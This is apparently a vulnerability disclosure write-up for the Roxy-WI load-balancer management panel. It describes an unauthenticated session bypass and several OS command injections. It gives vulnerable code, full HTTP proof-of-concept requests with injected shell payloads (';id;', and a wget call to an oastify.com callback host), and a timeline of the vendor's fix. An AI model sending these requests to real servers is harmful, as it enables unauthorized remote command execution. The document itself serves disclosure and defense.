Roxy-WI was created for people who want a fault-tolerant infrastructure but do not want to dive deep into the details of setting up and creating a cluster based on HAProxy / NGINX and Keepalived, or just need a convenient interface for managing all services in one place.
Remotely Exploitable: Yes
Authentication Required: No
Vendor URL: roxy-wi.org
CVSSv3.1 Score: 10.0 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L)
Date of found: 10.06.2022
Upon obtaining the Roxy-WI source code from the Roxy GitHub account, I finished the application installation and started to examine the application. I visited the Login page to analyze the post-installation application. While visiting the login page, I observed that the application requested the /app/options.py
path. If the resources in the application can be accessed without authentication, this is a good point to start analyzing the source code. Therefore, I started offensive source code analysis on the /app/options.py
file. This quite long file contains all the admin functionalities. The functionalities on the application send an ajax request to the options.py
file, and all operations are performed here. On the other hand, access to files on the application front-end is provided with adequate session controls, while access to options.py
is controlled via a local variable. 🤦
#!/usr/bin/env python3 form = funct.form serv = funct.is_ip_or_dns(form.getvalue('serv')) act = form.getvalue("act") if ( form.getvalue('new_metrics') or form.getvalue('new_http_metrics') or form.getvalue('new_waf_metrics') or form.getvalue('new_nginx_metrics') or form.getvalue('metrics_hapwi_ram') or form.getvalue('metrics_hapwi_cpu') or form.getvalue('getoption') or form.getvalue('getsavedserver') ): print('Content-type: application/json\n') else: print('Content-type: text/html\n') if act == "checkrestart": servers = sql.get_dick_permit(ip=serv) for server in servers: if server != "": print("ok") sys.exit() sys.exit() if form.getvalue('alert_consumer') is None: if not sql.check_token_exists(form.getvalue("token")): print('error: Your token has been expired') sys.exit()
Lines between 29 and 32, it shows that session control can be bypassed if the alert_consumer
variable is defined and not null in the body of the request sent to the options.py.
Due to the nature of the application, you can control the networks and services contained in the application, even if there is no other vulnerability other than the authentication bypass vulnerability. Hence, it may cause critical situations.
HTTP POST request required to trigger the issue is as follows.
POST /app/options.py HTTP/1.1 Host: 192.168.56.116 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 105 Origin: https://192.168.56.114 Dnt: 1 Referer: https://192.168.56.114/app/login.py Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close alert_consumer=notNull&serv=roxy-wi.access.log&rows1=10&grep=&exgrep=&hour=00&minut=00&hour1=23&minut1=45
Generally, network and service-based management applications such as Roxy-WI need to perform operations on the operating system. So, if the access control and authentication are bypassed, we may have access to the treasure. Therefore, after bypassing the authentication (see; vulnerability 1), I examined where the application was performing operations at the operating system level.
In the options.py
the file was calling a function defined as ssh_command
a lot, and ssh_command
uses to perform operations on defined remote services.
if form.getvalue('getcert') is not None and serv is not None: cert_id = form.getvalue('getcert') cert_path = sql.get_setting('cert_path') commands = ["openssl x509 -in " + cert_path + "/" + cert_id + " -text"] try: funct.ssh_command(serv, commands, ip="1") except Exception as e: print('error: Cannot connect to the server ' + e.args[0])
On lines 1 and 6, the getcert
variable is concatenated directly to the cmd variable. Then it is processed with the ssh_command
function in the /app/funct.py
file.
def ssh_command(server_ip, commands, **kwargs): ssh = ssh_connect(server_ip) for command in commands: try: stdin, stdout, stderr = ssh.exec_command(command, get_pty=True) except Exception as e: logging('localhost', ' ' + str(e), haproxywi=1) ssh.close() return str(e) if kwargs.get('raw'): return stdout try: if kwargs.get("ip") == "1": show_ip(stdout) elif kwargs.get("show_log") == "1": return show_log(stdout, grep=kwargs.get("grep")) elif kwargs.get("server_status") == "1": server_status(stdout) elif kwargs.get('print_out'): print(stdout.read().decode(encoding='UTF-8')) return stdout.read().decode(encoding='UTF-8') elif kwargs.get('return_err') == 1: return stderr.read().decode(encoding='UTF-8') else: return stdout.read().decode(encoding='UTF-8') except Exception as e: logging('localhost', str(e), haproxywi=1) finally: ssh.close() for line in stderr.read().decode(encoding='UTF-8'): if line: print("<div class='alert alert-warning'>" + line + "</div>") logging('localhost', ' ' + line, haproxywi=1)
In line 6, it can be seen that the ssh_command
function uses the command variable defined in file /app/funct.py
without processing it. Bingo!
HTTP POST request required to trigger the issue is as follows.
POST /app/options.py HTTP/1.1 Host: 192.168.56.116 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 73 Origin: https://192.168.56.116 Referer: https://192.168.56.116/app/login.py Connection: close show_versions=1&token=&alert_consumer=1&serv=127.0.0.1&getcert=;id;
Note: In the examinations, it was seen that the ssh_command
function was used on 34 different lines, and it was seen that 15+ of them were affected by the vulnerability.
Roxy-WI also performs operations with local configuration files. Operations performed through the local server are performed using the subprocess_execute
function in the options.py
if form.getvalue('ipbackend') is not None and form.getvalue('backend_server') is None: haproxy_sock_port = int(sql.get_setting('haproxy_sock_port')) backend = form.getvalue('ipbackend') cmd = 'echo "show servers state"|nc %s %s |grep "%s" |awk \'{print $4}\'' % (serv, haproxy_sock_port, backend) output, stderr = funct.subprocess_execute(cmd) for i in output: if i == ' ': continue i = i.strip() print(i + '<br>')
On lines between 1 and 5, if the ipbackend
and backend_server
variables are defined, the ipbackend
variable is assigned directly to the cmd
variable. Then the cmd
variable is passed to the subprocess_execute
function defined in /app/func.py
.
def subprocess_execute(cmd): import subprocess p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, universal_newlines=True) stdout, stderr = p.communicate() output = stdout.splitlines() return output, stderr
In line 3, it can be seen that the cmd
value is executed directly without being processed.
HTTP POST request necessary to trigger the issue is as follows.
POST /app/options.py HTTP/1.1 Host: 192.168.56.114 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 90 Origin: https://192.168.56.114 Referer: https://192.168.56.114/app/login.py Connection: close alert_consumer=1&serv=127.0.0.1&ipbackend=";id+##&backend_server=127.0.0.1
Note: In the examinations, it was seen that the subprocess_execute
function was used on 85 different lines, and it was seen that 50+ of them were affected by the vulnerability.
On the other hand, Roxy-WI has certificate files for application operations. Certificate files are controlled and processed by administrators. The following code block executes to upload the certificates in the options.py
.
if serv and form.getvalue('ssl_cert'): cert_local_dir = os.path.dirname(os.getcwd()) + "/" + sql.get_setting('ssl_local_path') cert_path = sql.get_setting('cert_path') name = '' if not os.path.exists(cert_local_dir): os.makedirs(cert_local_dir) if form.getvalue('ssl_name') is None: print('error: Please enter a desired name') else: name = form.getvalue('ssl_name') try: with open(name, "w") as ssl_cert: ssl_cert.write(form.getvalue('ssl_cert')) except IOError as e: print('error: Cannot save the SSL key file. Check a SSH key path in config ' + e.args[0]) MASTERS = sql.is_master(serv) for master in MASTERS: if master[0] is not None: funct.upload(master[0], cert_path, name) print('success: the SSL file has been uploaded to %s into: %s%s <br/>' % (master[0], cert_path, '/' + name)) try: error = funct.upload(serv, cert_path, name) print('success: the SSL file has been uploaded to %s into: %s%s' % (serv, cert_path, '/' + name)) except Exception as e: funct.logging('localhost', e.args[0], haproxywi=1) try: os.system("mv %s %s" % (name, cert_local_dir)) except OSError as e: funct.logging('localhost', e.args[0], haproxywi=1) funct.logging(serv, "add.py#ssl uploaded a new SSL cert %s" % name, haproxywi=1, login=1)
On lines 12 and 31, It can be seen that the upload function directly handles the ssl_name variable.
HTTP POST request necessary to trigger the issue is as follows.
POST /app/options.py HTTP/1.1 Host: 192.168.56.116 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 123 Origin: https://192.168.56.116 Referer: https://192.168.56.116/app/login.py Connection: close show_versions=1&token=&alert_consumer=notNull&serv=127.0.0.1&delcert=a%20&%20wget%20<id>.oastify.com;
01 July 2022 21:00 GMT+3 – Starting vulnerability research.
01 July 2022 22:32 GMT+3 – Found the vulnerabilities.
03 July 2022 21:00 GMT+3 – Finishing research.
05 July 2022 20:13 GMT+3 – Reporting to the Roxy-WI team.
08 July 2022 20:30 GMT+3 – Roxy-WI fixed the vulnerability.
21 July 2022 – Public PoC release.